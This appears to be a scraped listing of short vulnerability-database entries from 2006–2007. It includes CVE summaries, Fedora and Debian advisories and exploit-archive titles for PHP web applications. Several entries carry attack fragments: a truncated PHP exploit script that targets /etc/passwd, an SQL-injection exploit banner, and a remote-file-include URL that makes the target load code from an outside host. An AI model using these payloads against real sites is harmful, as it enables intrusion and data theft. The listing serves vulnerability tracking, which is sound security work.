CVE-2007-0014

The CVE-2007-0014 issue concerns ChainKey Java Code Protection. Affected component: a Java class loader with a modified defineClass method that saves the bytecode to a file before passing it to the JVM, enabling decompilation of Java class files. The vulnerability is described as a local-attack r...

Fedora Core 5 : mono-1.1.13.7-3.fc5.1 (2007-068)

A security problem was found and fixed in mono class libraries that affects the Mono web server implementation. By appending spaces to URLs attackers could download the source code of ASP.net scripts that would normally get executed by the web server. After upgrading the packages you need to...

[SECURITY] Fedora Core 6 Update: mono-1.1.17.1-4.fc6

The Mono runtime implements a JIT engine for the ECMA CLI virtual machine as well as a byte code interpreter, the class loader, the garbage collector, threading system and metadata access libraries...

Buffer overflow

Buffer overflow in Packeteer PacketShaper PacketWise 8.x allows remote authenticated users to cause a denial of service reset or reboot via 1 a long traffic class argument to the "class show" command or 2 a long POLICY parameter value in clastree.htm...

magic photo storage website Remote File Inclusion

magic photo storage website Remote File Inclusion Vendor : http://www.scriptaty.net/magic-photo-storage-website.html Demo Site : http://www.turnkeydemos.info/demo/picstorage/ Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net file; commonfunction.php bug;...

swcms.php.txt

!/usr/bin/php Options.......: Example.......: php xpl.txt http://hihi.org/ /etc/passwd --------------------------------------------------------\n"; exit1; $url =$argv1;$file =$argv2; $proxh=$argv3;$proxa=$argv4; $xpl = new phpsploit; $xpl-agent"Mozilla"; if$proxh $xpl-proxy$proxh; if$proxa...

hlstats-sql.txt

Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW. Merry Christmass, --Michael Brooks Homepage: http://sourceforge.net/projects/hlstats/ -----BEGIN PGP SIGNE...

HLStats 1.34 - 'hlstats.php' SQL Injection

= 1.20 works with magicquotesgpc=On by Michael Brooks / print "HLStats SQL Injection Exploit -------------------------------------------------------------------------------------------------------------------------------------------- Welcome To HLstats Exploit code. SQL Inection + Path Disclosure...

Typo3 Class.TX_RTEHTMLArea_PI1.PHP多个命令执行漏洞

Typo3是一款基于PHP的WEB应用程序。 Typo3不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是脚本对用户提交的'useruid'参数缺少过滤，提交包含SHELL元字符命令的字符串作为参数数据，可导致以WEB权限执行任意命令。 Typo3 Typo3 4.0.3 Typo3 Typo3 4.0.2 Typo3 Typo3 4.0.1 Typo3 Typo3 3.7 .0 Typo3 Typo3 4.0 Typo3 Typo3 3.8 http://typo3.org/ Attackers can exploit these issues via ...

DEBIAN-CVE-2006-6104

The System.Web class in the XSP for ASP.NET server 1.1 through 2.0 in Mono does not properly verify local pathnames, which allows remote attackers to 1 read source code by appending a space %20 to a URI, and 2 read credentials via a request for Web.Config%20...

CA BrightStor ARCserve Backup Discovery Service Detection

The remote server appears to be running BrightStor ARCserve Backup, an enterprise class backup program. The software's Discovery Service listens for broadcast packets from other BrightStor servers on the local network to learn about their existence. C Tenable Network Security, Inc...

DotProject Query.Class.PHP远程文件包含漏洞

DotProject是一款基于PHP的WEB应用程序。 DotProject不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'Query.Class.PHP'脚本对用户提交的'baseDir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Dotproject Dotproject 2.0.4 Dotproject Dotproject 2.0.3 Dotproject Dotproject 2.0.1 Dotproject Dotproject 2.0 NO...

CVE-2006-6452

Multiple cross-site scripting XSS vulnerabilities in the MyArticles module before 0.6 beta 1, for RunCMS, allow remote attackers to inject arbitrary web script or HTML via unspecified parameters to 1 topics.php, 2 submit.php, and 3 class/calendar.class.php...

ProjectButler <= 0.8.4 (rootdir) Remote File Include Vulnerabilities

No description provided by source. projectbutler-0.8.4 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download Found By: the master exploit: http://Target/Path/classes/Cache.class.php?rootdir=http://cmd.gif?...

knowledgebuilder Remote File Include Exploit

No description provided by source. !/usr/bin/perl knowledgeBuilder v.2.2.php.NuLL-WDYL= Remote File Include Vulnerability Script.............. :knowledgebuilder php.NuLL WDYL Discovered By.... : IGI Expl0iter ........ : Root3rH3LL Location .......... : Iran Class.............. : Remote Original...

KnowledgeBuilder 2.2 - visEdit_Control.Class.php Remote File Inclusion

KnowledgeBuilder 2.2 - visEditControl.Class.php Remote File Inclusion source: https://www.securityfocus.com/bid/20857/info KnowledgeBuilder is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to...

Lou Portail 1.4.1 - admin_module.php Remote File Inclusion

Lou Portail 1.4.1 - adminmodule.php Remote File Inclusion Lou Portail 1.4.1 Class: Remote|Local File Include Vulnerability Patch: Unavailable Published 2006/10/18 Remote: Yes Local: No Type: High Site: http://louportail.free.fr/ Author: MP Contact: [email protected] Vuln Code admin/adminmodule.ph...

osprey 1.0 (ListRecords.php) Remote File Include Vulnerability

======================================================================= ======================= osprey 1.0 ListRecords.php Remote File Include Vulnerability ======================================================================= ======================== Critical Level : Dangerous Venedor site :...

CVE-2006-5395

Buffer overflow in Microsoft Class Package Export Tool aka clspack.exe allows context-dependent attackers to execute arbitrary code via a long string. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-5395

Buffer overflow in Microsoft Class Package Export Tool aka clspack.exe allows context-dependent attackers to execute arbitrary code via a long string. NOTE: the provenance of this information is unknown; the details are obtained from third party information...